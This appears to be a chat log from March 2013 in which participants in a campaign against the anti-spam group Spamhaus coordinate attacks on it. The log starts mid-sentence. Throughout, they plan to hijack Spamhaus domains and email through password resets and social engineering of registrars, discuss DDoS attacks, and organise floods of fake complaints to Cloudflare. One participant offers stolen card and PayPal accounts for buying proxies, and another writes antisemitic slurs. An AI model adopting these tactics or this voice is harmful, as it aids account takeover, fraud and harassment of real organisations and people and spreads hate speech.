access the secondary address, you can create a CNAME record to verify that you own the domain name. [20.03.2013 17:56:48] Antitheist: if we can hijack proxypot.net, we would have access to spamhaus mail systems :D [20.03.2013 17:56:55] Antitheist: its godaddy [20.03.2013 17:57:44] simomchen: only anonymouse can do that , I think. anonymouse made a act like this to baidu.com about 2 years ago [20.03.2013 17:58:28] Antitheist: they just sent social engineering shit to emails [20.03.2013 17:58:30] narko: http://i.imgur.com/jYTCJ9i.png do you like or dislike? [20.03.2013 17:58:41] narko: of course dislike. who wants ads (envy) (facepalm) [20.03.2013 17:59:06] narko: everything becomes bad when microsoft buys it [20.03.2013 17:59:10] narko: what is proxypot/ [20.03.2013 17:59:28] simomchen: I means anonymouse hijacked domain baidu.com, and changed their domain password [20.03.2013 18:00:06] Antitheist: narko, as you know spamhaus started to use gmail for all of their mail [20.03.2013 18:00:20] Antitheist: so - i tried to reset the google account password for the spamhaus.org domain [20.03.2013 18:00:23] narko: oh [20.03.2013 18:00:28] narko: theysend SMS [20.03.2013 18:00:34] Antitheist: the password is sent to proxypot [20.03.2013 18:00:39] Antitheist: no - thats in consumer gmail [20.03.2013 18:00:50] Antitheist: on enterprise its an email to the secondaty address [20.03.2013 18:01:02] narko: oh [20.03.2013 18:02:36] simomchen: proxypot.net is using godaddy's mail service [20.03.2013 18:02:43] simomchen: http://www.who.is/dns/proxypot.net [20.03.2013 18:02:48] Antitheist: yes [20.03.2013 18:02:55] simomchen: proxypot.net MX 1 hour 0 smtp.secureserver.net proxypot.net MX 1 hour 10 mailstore1.secureserver.net [20.03.2013 18:02:57] narko: godaddy are stupid [20.03.2013 18:03:06] narko: they will probably give you the password if you say you own the domain and you forgot it [20.03.2013 18:03:19] Antitheist: are you sure? [20.03.2013 18:03:25] narko: no [20.03.2013 18:03:28] narko: but it doesnt hurt to try [20.03.2013 18:03:35] narko: also they suspend domains for dmca etc.. [20.03.2013 18:03:40] narko: but that's not helpful [20.03.2013 18:03:43] Antitheist: thats the last thing we need [20.03.2013 18:04:11] Antitheist: who is a good social engineering master? maybe edataking? [20.03.2013 18:04:23] Antitheist: that can even call godaddy with an american accent [20.03.2013 18:05:20] simomchen: or who can hack this mail servermailstore1.secureserver.net [20.03.2013 18:05:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: An email has been sent to the address on file (L********0@spamhaus.net) for the handle you indicated above. This email will contain instructions and a link that will let you reset your password. [20.03.2013 18:05:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gandi [20.03.2013 18:05:49] narko: LinfordSteve0 [20.03.2013 18:05:50] narko: :P [20.03.2013 18:06:12] narko: LH721-2010@spamhaus.net [20.03.2013 18:06:33] Antitheist: ;sapmhaus.net. IN MX [20.03.2013 18:06:36] Antitheist: no records [20.03.2013 18:06:36] narko: Nameserver isla.ns.cloudflare.com. reports: No such host spamhaus.net [20.03.2013 18:06:37] narko: for MX [20.03.2013 18:06:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no even better [20.03.2013 18:06:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:spamhaus.net [20.03.2013 18:06:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no mx [20.03.2013 18:06:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [20.03.2013 18:06:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: indeed [20.03.2013 18:06:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [20.03.2013 18:07:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sooo... then it bounces and gandi knows [20.03.2013 18:07:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the registrant/whois data is incorect [20.03.2013 18:07:17] narko: and dont care [20.03.2013 18:07:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [20.03.2013 18:07:18] narko: :D [20.03.2013 18:07:25] Antitheist: hacking their google apps and owning sbl-removals@spamhaus.org would be epic [20.03.2013 18:07:31] Antitheist: we might get a pwnie award on blackhat :) [20.03.2013 18:07:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: help, lets chat [20.03.2013 18:07:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah lets chat shall we :P [20.03.2013 18:07:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 18:11:14] narko: http://www.spamhaus.org/sbl/query/SBL164111 [20.03.2013 18:11:17] narko: old sbl but [20.03.2013 18:11:45] narko: listed on a spam list for selling counterfeits ? what did timeweb.ru do :P [20.03.2013 18:12:35] simomchen: we are fully listed just because this [20.03.2013 18:12:47] narko: steve linford head of the trademark police :))))))) [20.03.2013 18:12:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Thank you for contacting Gandi, your request has been sent. We will reply to your question as soon as possible. [20.03.2013 18:13:14] simomchen: SH wanna to because a police in the internet [20.03.2013 18:13:16] narko: what you sent to gandi? [20.03.2013 18:13:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: steve linford head of the 'applying american jew laws to china as well' export politics department [20.03.2013 18:13:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he failed as a general [20.03.2013 18:13:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [20.03.2013 18:13:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so now he tries it on the internet [20.03.2013 18:14:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no steve, american jew concepts do not apply to the rest of the world. [20.03.2013 18:14:06] narko: (rofl) [20.03.2013 18:21:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ohgandi.net is also having 'multiple ddos attacks this afternoon' according to their website [20.03.2013 18:21:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 18:21:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: someone is helping us or something haha [20.03.2013 18:21:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or helping themselves [20.03.2013 18:21:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [20.03.2013 18:21:41] narko: spamhaus dont have anything hosted at gandi [20.03.2013 18:21:45] narko: why ddos gandi? [20.03.2013 18:21:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its their domain registrar [20.03.2013 18:22:01] narko: its not like ddosing their registrar will make the domain stop working [20.03.2013 18:22:02] narko: lol [20.03.2013 18:28:19] simomchen: how much brandwidth does cloudflare can handle ? [20.03.2013 18:31:40] eDataKing: SPamhaus attacked Moniker for hosting my sites, Richter's sites (he is stil there after paying a bribe to Spamhaus, and a slew of others. They attacked PublicDomainRegistry and had them remove whois protection so they could add the registrar data to my ROKSO file [20.03.2013 18:32:33] eDataKing: The most damage they ever did was when they got one registrar to suspend the domain and then they allowed me to transfer it out to another registrar (applying the 90 wait from ICANN) and then attacking the new registrar to cause a 90 day loss of site. [20.03.2013 18:32:46] eDataKing: By the time the 90 days was up the site has lost its momentum [20.03.2013 18:35:04] simomchen: let me find some customers who using cloudflare , and sent a complaints to cloudflare 'cloudflare's netowrking is too slow these days, even can not access our sites'. we have about 200 customers using cloudflare's service.cloudflare will fell overwhelming force [20.03.2013 18:35:14] eDataKing: yep [20.03.2013 18:35:17] narko: (y) [20.03.2013 18:35:21] eDataKing: they have to mitigate somehow [20.03.2013 18:35:28] simomchen: I will try anything if possible [20.03.2013 18:35:38] eDataKing: no one thing is what will work [20.03.2013 18:35:47] eDataKing: this campaign as a whole will end them though [20.03.2013 18:36:04] eDataKing: that is why they are so scared and releasing false media on their white papers [20.03.2013 18:37:19] simomchen: if cloudflare do not care our clients, I'm quite they will make a create cards chargeback [20.03.2013 18:37:19] Cali: Why did they remove the article about the DDoS on their news page? [20.03.2013 18:37:34] eDataKing: they did? [20.03.2013 18:37:39] eDataKing: probabl;y because it was proven false [20.03.2013 18:37:54] eDataKing: they don't want to get caught lying, even though they do all the time [20.03.2013 18:37:56] Cali: http://www.spamhaus.org/news/ [20.03.2013 18:38:11] eDataKing: forum seems to be down? [20.03.2013 18:38:18] eDataKing: I am pinging now [20.03.2013 18:38:40] eDataKing: timeouts [20.03.2013 18:38:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they didn't make any 'nutcase spammer' remarks over the past 6 hours did they :P [20.03.2013 18:38:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after we listed 127.0.0.1 :P [20.03.2013 18:38:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 18:38:58] narko: yes stophaus.com is not loading :(( [20.03.2013 18:39:01] eDataKing: looks like someone isn't being the white knight they pretend to be #spamhaus [20.03.2013 18:39:14] eDataKing: is it a ddos attack? [20.03.2013 18:39:35] eDataKing: they will resort to ddos when all else fails. They did that to DP Mailer's site. [20.03.2013 18:39:43] eDataKing: Didn't they try to ddos you Sven? [20.03.2013 18:39:47] Cali: looks alike. [20.03.2013 18:40:01] simomchen: I have noticed to all our clients just now. they will send complaints to cloudflare tomorrow. hehe [20.03.2013 18:40:02] narko: its fine now [20.03.2013 18:40:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they can't [20.03.2013 18:40:05] eDataKing: back up [20.03.2013 18:40:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as we don't have global transit so each and every ddos would come from a peer [20.03.2013 18:40:15] eDataKing: bet they wish they could mitigate that fast lol [20.03.2013 18:40:16] Cali: it is back. [20.03.2013 18:40:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ddossing other peers on ix = disconnect [20.03.2013 18:40:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: spamhaus their ddos skills are not 1337 enough lol [20.03.2013 18:40:42] eDataKing: lol [20.03.2013 18:41:12] simomchen: networking of AS34109 haven't ddos currently. [20.03.2013 18:41:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haven't much going on period currently [20.03.2013 18:41:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 18:41:35] eDataKing: My bet is that this campaign will end Spamhaus in less than 180 days and will damage them beyond recovery in less than 30 [20.03.2013 18:41:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just ipv6, hardly any customers [20.03.2013 18:41:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and most of nl/de/eu [20.03.2013 18:41:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so they can't ddos it haha [20.03.2013 18:41:57] eDataKing: lol [20.03.2013 18:43:31] simomchen: they can only ddos to AS34109 via idear4business's peering partners [20.03.2013 18:48:11] eDataKing: Spamhaus puts on a different hat to suppress media. Your ddos skillz are lacking as bad as your mitigation skillz. #STOPhaus #spamhaus [20.03.2013 19:25:20] narko: i think spamhaus wrote to my pamyent processor [20.03.2013 19:25:23] narko: has it happened before? [20.03.2013 19:25:44] narko: an IP address started to browse my site. assigned to 2Checkout Inc. now my merchant account is put into a review status. [20.03.2013 19:26:13] narko: was SBL not enough for them ? ;( [20.03.2013 19:27:23] eDataKing: no, if it were there would be no reason for STOPhaus. [20.03.2013 19:27:32] eDataKing: How did they get your processor's info? [20.03.2013 19:27:43] narko: they require it to be written in the site [20.03.2013 19:27:48] narko: "Services provided by 2Checkout Inc" [20.03.2013 19:27:51] eDataKing: Also, they tried that with my Paypal account for 3 years. We are still Top-Tier members [20.03.2013 19:28:03] eDataKing: they reviewed the records and it took 6 hours to be restored [20.03.2013 19:28:18] eDataKing: no other complaint ever made it past the first level of abuse [20.03.2013 19:28:20] narko: lol [20.03.2013 19:28:31] narko: someone called paypal and said i was threatening to kill them unless they paid me money [20.03.2013 19:28:34] narko: and my account was limited for a week [20.03.2013 19:28:38] eDataKing: and that was for the account selling Mail mascot on eBay [20.03.2013 19:28:53] eDataKing: so, if they cared at all...they would have said it was spamware and against their TOS [20.03.2013 19:28:55] eDataKing: but they didn't [20.03.2013 19:29:38] eDataKing: You didn't think that they would roll over and take it in the rump did you? [20.03.2013 19:29:58] eDataKing: they have very limited reach [20.03.2013 19:30:12] eDataKing: they are making false accusations about you and it will be discarded [20.03.2013 19:30:20] eDataKing: what have you done illegal on 2checkout? [20.03.2013 19:30:21] eDataKing: anything? [20.03.2013 19:38:22] narko: no [20.03.2013 19:38:23] narko: well [20.03.2013 19:38:28] narko: I sell hosting for illegal sites [20.03.2013 19:38:35] narko: but i don't advertise it anywhere [20.03.2013 19:39:09] eDataKing: then there is nothing to suspend you over [20.03.2013 19:39:35] narko: doesnt matter [20.03.2013 19:39:37] eDataKing: you can host anything you want, but you couldn't sell illegal pre-made template sites through them or anything [20.03.2013 19:39:40] narko: my site host suspended me too [20.03.2013 19:39:46] narko: they treat spamhaus like it's the CIA [20.03.2013 19:39:51] eDataKing: yes they do [20.03.2013 19:56:12] narko: http://www.spamhaus.org/sbl/query/SBL179394 [20.03.2013 19:56:15] narko: they added another /24 of corbina [20.03.2013 19:57:42] Yuri: nice [20.03.2013 19:58:08] Yuri: SR01 - very big person from spamhaus ? [20.03.2013 19:58:21] narko: did someone else start attack to cloudflare? the site is even down now :)) [20.03.2013 19:58:27] Yuri: we need to post it to the public, in twitter and etc? [20.03.2013 19:59:08] eDataKing: yes [20.03.2013 19:59:12] eDataKing: SR01 [20.03.2013 19:59:12] eDataKing: really? [20.03.2013 19:59:32] eDataKing: probably Richard Cox [20.03.2013 19:59:43] Yuri: look, men, we need to add as more proxy IP for that forum as possible. this forum is our main weapon i think. [20.03.2013 19:59:43] eDataKing: could be Steve himself [20.03.2013 19:59:53] eDataKing: after all, it has become quite personal over the years [20.03.2013 20:00:08] Yuri: i think we could create cloudflare account as well :) [20.03.2013 20:00:13] Yuri: and some other CDNs [20.03.2013 20:00:18] eDataKing: ok, I can donate some today when my girl gets home from work [20.03.2013 20:00:23] Yuri: so this domain will be proxed with a lot of IPs [20.03.2013 20:00:37] narko: will corbina ask for termination? [20.03.2013 20:00:40] narko: due to all this listings [20.03.2013 20:00:41] eDataKing: You tell us what to do and we will make it happen [20.03.2013 20:00:45] Yuri: no. it's home LAN [20.03.2013 20:00:48] eDataKing: the end result is too big to give up on [20.03.2013 20:00:57] Yuri: i don't think they care. they should list all corbina :)) [20.03.2013 20:01:05] eDataKing: :) [20.03.2013 20:01:05] narko: they already are. in PBL [20.03.2013 20:01:29] eDataKing: RR was in PBL and told them to go f themselves when they tried to have me depeered with an SBL on them [20.03.2013 20:01:31] Yuri: they may ask to terminate not faster then ones per day. so we could add more proxing IPs faster [20.03.2013 20:01:49] eDataKing: ok, so we need at least 20 proxies ready [20.03.2013 20:01:55] eDataKing: can we use reverse proxies? [20.03.2013 20:02:01] Yuri: Cali, here? [20.03.2013 20:02:08] Yuri: need a VPS with proxy for you for domain [20.03.2013 20:02:17] Yuri: i will make new one IP for proxing too. [20.03.2013 20:02:21] eDataKing: so we need SQUID server setup [20.03.2013 20:02:27] narko: if you want i will send you a list of cards and paypal accounts.. unlimited proxies from any provider. [20.03.2013 20:02:29] Yuri: just need nginx [20.03.2013 20:02:32] Yuri: with simple config. [20.03.2013 20:02:33] eDataKing: ok [20.03.2013 20:03:03] Yuri: eDataKing, we need some tech section on the forum for our core team like moderatos and administrator. [20.03.2013 20:03:09] eDataKing: ok, so we need a server then [20.03.2013 20:03:11] eDataKing: nothing more [20.03.2013 20:03:12] Yuri: you have too much forums on that forum but we need one technical [20.03.2013 20:03:21] Yuri: i will post the information about proxy setup and etc [20.03.2013 20:03:26] Yuri: and we can discuss tech things there [20.03.2013 20:03:30] NM: Good idea [20.03.2013 20:03:33] eDataKing: it'll be ready by the end of the day [20.03.2013 20:03:33] narko: the server is still at infium host? [20.03.2013 20:03:49] eDataKing: I want to recommend ServerPronto [20.03.2013 20:03:54] eDataKing: they don't have an abuse dept [20.03.2013 20:04:01] Yuri: for Nikolay it's to difficult ready 100000 messages per day here [20.03.2013 20:04:02] eDataKing: and they peer a bunch of VPN networks [20.03.2013 20:04:09] narko: same with limestone networks. limestone is a dirty network ignoring abuse and sbls [20.03.2013 20:04:13] eDataKing: and are only $100 for a large dedi [20.03.2013 20:04:14] Yuri: yes. server is still at infium [20.03.2013 20:04:28] Yuri: eDateKing - order one if you able to. [20.03.2013 20:04:30] eDataKing: psychz networks is also good [20.03.2013 20:04:34] narko: yes [20.03.2013 20:04:36] narko: but it's far [20.03.2013 20:04:37] eDataKing: they have 100Gbt port speed as well [20.03.2013 20:04:41] narko: LA to Ukraine it will be very slow [20.03.2013 20:04:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: make sure you have a backup of the stuff on it. [20.03.2013 20:04:52] eDataKing: Psychz may be in your area though [20.03.2013 20:05:17] eDataKing: http://www.psychz.net/ [20.03.2013 20:05:25] narko: psychz does not have 100gbps :P i took them down before with 10 [20.03.2013 20:05:30] eDataKing: I have a few accounts with them [20.03.2013 20:05:42] eDataKing: if they are close enough, I can get anything we need from them [20.03.2013 20:05:56] eDataKing: they sure charged me for 100Gbts [20.03.2013 20:06:03] eDataKing: almost $100 more bucks [20.03.2013 20:06:33] eDataKing: CPU: Atom D525 RAM: 4GB RAM HD: 500 GB SATA Hard Drive BW: 100Mbit Unmetered IP: 5 Usable IPs OS: Windows / Linux [20.03.2013 20:06:37] eDataKing: is that good? [20.03.2013 20:07:32] eDataKing: sry, 100Mbt [20.03.2013 20:07:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: atoms? for fucks sake... [20.03.2013 20:07:33] eDataKing: not Gbt [20.03.2013 20:07:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: those things are slower than my fax machine [20.03.2013 20:07:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 20:07:52] eDataKing: but they are on Spamhaus Top 10 list [20.03.2013 20:07:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they are? [20.03.2013 20:08:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can they transit us? lol [20.03.2013 20:08:06] eDataKing: I was looking at stability, not speed lol [20.03.2013 20:08:11] eDataKing: maybe [20.03.2013 20:08:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we'll transit them in return later on haha [20.03.2013 20:08:36] eDataKing:http://www.spamhaus.org/sbl/listings/psychz.net [20.03.2013 20:08:42] eDataKing: those are their SBLs\ [20.03.2013 20:09:09] narko: i have a server at telecoms.bg [20.03.2013 20:09:13] narko: dont know if it would be any good? [20.03.2013 20:09:44] eDataKing: Sven, you are #1 on their list [20.03.2013 20:09:46] eDataKing: that's hilarious [20.03.2013 20:09:56] eDataKing: http://www.spamhaus.org/statistics/networks/ [20.03.2013 20:10:14] eDataKing: gues I was wrong about psychz [20.03.2013 20:10:22] eDataKing: what's wrong with OVH again? [20.03.2013 20:10:44] Yuri: I will try to buy some server at belarusian beltelecom :) [20.03.2013 20:10:48] eDataKing: or maybe hinet? [20.03.2013 20:11:47] Yuri: who can search for free CDN networks ? [20.03.2013 20:11:54] Yuri: we can add all of them for this one domain. [20.03.2013 20:12:07] narko: i know two [20.03.2013 20:12:19] narko: cloudflare and incapsula [20.03.2013 20:17:25] eDataKing: We should respond to these new SBL listings each time [20.03.2013 20:18:03] eDataKing: if they do the same things that we are telling them not to do, they are saying "We don't negotiate with those that call us terrorists" [20.03.2013 20:18:21] eDataKing: and I say, "Spit in our faces and we should step on your toes" [20.03.2013 20:18:29] eDataKing: just my opinion however [20.03.2013 20:20:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: never responded to an sbl listing in my life [20.03.2013 20:20:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not gonna do it now [20.03.2013 20:20:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 20:20:48] eDataKing: no, not like a response to them [20.03.2013 20:20:57] eDataKing: like a response in what we are doing [20.03.2013 20:21:03] eDataKing: they escalate, we escalate [20.03.2013 20:21:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah thats called 'evidence' :P [20.03.2013 20:21:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but not as in 'steve pls delete this sbl' [20.03.2013 20:21:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: more like 'look this idiot listed this and that for his e-penis' [20.03.2013 20:21:33] eDataKing: could be mass media distribution, could be attacks, could be complaints to ICANN...whatever [20.03.2013 20:21:45] eDataKing: just make sure they know that each time they act, we will act [20.03.2013 20:22:02] eDataKing: oh, I would never cooperate with Steve [20.03.2013 20:22:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: already filed complaint with ghandi that neither 'the spamhaus project' (without ltd?) exists, nor that office of it, nor the telephone numbers, nor the mx records on the contacts. [20.03.2013 20:22:10] eDataKing: unless it was to sink a boat lol [20.03.2013 20:22:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: forspamhaus.org [20.03.2013 20:22:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and remember kids, spamhaus.org gone, spamhaus gone [20.03.2013 20:22:33] eDataKing: yep [20.03.2013 20:22:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you don't set up a network of nerds resolving your shitlist in a day [20.03.2013 20:22:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that takes decades [20.03.2013 20:22:44] eDataKing: no .org and the 10 years of branding is gone [20.03.2013 20:22:54] eDataKing: no one really knows about all the other sites [20.03.2013 20:22:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not the branding, the SBL is -gone- [20.03.2013 20:23:14] eDataKing: they'd have to rebrand and they can't afford to, nor do people care about spam like they did in 98 [20.03.2013 20:23:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their dns for the actual shitlists is on sbl / zen /xbl-sbl.spamhaus.org [20.03.2013 20:23:19] eDataKing: oh, why? [20.03.2013 20:23:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so nospamhaus.org, no dns shitlist, no power. [20.03.2013 20:23:25] eDataKing: the SBL ran when the site was down [20.03.2013 20:23:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the -site- was down... [20.03.2013 20:23:39] eDataKing: yes [20.03.2013 20:23:46] eDataKing: spamhaus.org [20.03.2013 20:23:52] eDataKing: it was down for days [20.03.2013 20:24:02] eDataKing: am I confused about something? [20.03.2013 20:24:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ;; QUESTION SECTION: ;zen.spamhaus.org. IN NS ;; ANSWER SECTION: zen.spamhaus.org. 8240 IN NS o.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS q.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS r.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS t.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS x.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS 0.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS 2.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS 3.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS 4.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS 5.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS 7.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS 8.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS a.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS b.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS c.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS d.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS f.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS g.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS h.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS i.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS k.ns.spamhaus.org. zen.spamhaus.org. 8240 IN NS l.ns.spamhaus.org. ;; Query time: 78 msec [20.03.2013 20:24:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: THAT [20.03.2013 20:24:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: -is onspamhaus.org- [20.03.2013 20:24:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if they lose spamhaus.org [20.03.2013 20:24:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their influence is gone [20.03.2013 20:24:37] eDataKing: all I know is the whole time the sitespamhaus.org was down users were still pinging the lists [20.03.2013 20:24:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol botnet? who's using a botnet hahaha [20.03.2013 20:24:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the guy can't even keep his fucking site up [20.03.2013 20:24:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: let alone analyze a botnet haha [20.03.2013 20:24:59] narko: I think they might have traced it [20.03.2013 20:25:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or do forensics [20.03.2013 20:25:10] narko: i got this email from my server host [20.03.2013 20:25:12] narko: Hello Sasha, I'm checking in to see how everything's going. Is there anything I can do for you at this point? [20.03.2013 20:25:21] narko: 3 hours ago [20.03.2013 20:25:25] eDataKing: hmmm [20.03.2013 20:25:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: reinier of ecatel hates spamhaus their butt [20.03.2013 20:25:40] eDataKing: just reply with "everything is fine, why?" [20.03.2013 20:25:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he doesn't have skype or i would already have invited him in here [20.03.2013 20:25:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [20.03.2013 20:25:51] eDataKing: lol [20.03.2013 20:25:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah :P lol [20.03.2013 20:25:57] eDataKing: Brian Kramer may peer us [20.03.2013 20:26:03] eDataKing: He has his on ISP [20.03.2013 20:26:14] eDataKing: and has been on ROKSO for a decade [20.03.2013 20:27:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: k.. time to get the dutch phonenumbers working again lol [20.03.2013 20:27:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so i can send out some fucking FAXES [20.03.2013 20:27:37] narko: i havent had a fax maxhine for over 5 years [20.03.2013 20:27:38] narko: lol [20.03.2013 20:27:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: appearantly our voip subscriptions expired during my move haha [20.03.2013 20:27:46] narko: probably closer to 10 [20.03.2013 20:27:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well if you have an embassy in germany, you quickly find out that its beneficial to be able to poop out 16 faxes at a time [20.03.2013 20:28:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: until the gemrans learn to read english [20.03.2013 20:28:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [20.03.2013 20:28:08] narko: try ovh voip :) they are very cheap [20.03.2013 20:28:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and call you... and go 'pls stop sending us faxes, we're running out of paper' [20.03.2013 20:28:21] narko: i have a virtual office in uk and UK phone number from ovh, and everyone trusts my company [20.03.2013 20:28:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats how you make germans do shit [20.03.2013 20:32:17] eDataKing: Here is a good person to call. I can't call them though because I am already a client and I don't want them to be able to have records on me to hand over. http://www.email-marketing-power.com/ [20.03.2013 20:32:36] eDataKing: ask if they would be willing to peer us to keep stophaus up or take spamhaus down [20.03.2013 20:32:42] eDataKing: they probably will consider it [20.03.2013 20:32:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: k. i want everyone that has issues/had issues with carriers... including ecatel... in here, and to join nl-ix, amsix, decix or msk-ix [20.03.2013 20:33:17] eDataKing: There are 30 or so new registrants at the forum that were not vouched for [20.03.2013 20:33:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we'll just break the god damn internet if thats what it takes :P [20.03.2013 20:33:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 20:46:19] eDataKing: http://blog.cloudflare.com/the-ddos-that-knocked-spamhaus-offline-and-ho [20.03.2013 20:46:38] eDataKing: The DDoS That Knocked Spamhaus Offline (And How We Mitigated It) [20.03.2013 20:46:43] eDataKing: they mitigated it? [20.03.2013 20:46:45] eDataKing: news to me [20.03.2013 20:47:11] eDataKing: hmm [20.03.2013 20:47:12] eDataKing: CloudFlare's own history grew out of Project Honey Pot, which started as an automated service to track the resources used by spammers and publishes the HTTP:BL. [20.03.2013 20:47:21] eDataKing: good data [20.03.2013 20:47:24] eDataKing: didn't know that [20.03.2013 20:48:53] eDataKing: Beginning on March 18th? [20.03.2013 20:48:59] eDataKing: that is factually incorrect [20.03.2013 20:51:11] narko: reading now [20.03.2013 20:51:47] eDataKing: the attack did not start a day before their great admins mitigated it [20.03.2013 20:51:54] eDataKing: is it even mitigated? [20.03.2013 20:52:09] narko:http://getfile0.posterous.com/getfile/files.posterous.com/temp-2013-03-20/lwhhFndFymGjBljDbgFgkFHdHxtDanAdlqGlyqeHqAAmFJgkqIbEHsoIfsmc/spamhaus_ddos_attack.png.scaled1000.png [20.03.2013 20:52:12] narko: hehehehe :))))))))))))))))))))) [20.03.2013 20:52:15] narko: this is like 140Gbps [20.03.2013 20:52:27] eDataKing: lol [20.03.2013 20:52:37] eDataKing: don't look like mitigation to me lol [20.03.2013 20:52:57] eDataKing: Their article almost reads as a challenge [20.03.2013 20:53:14] narko: I stopped the attack [20.03.2013 20:53:16] eDataKing: what a statement it would be to depeer cloudflare [20.03.2013 20:53:19] eDataKing: 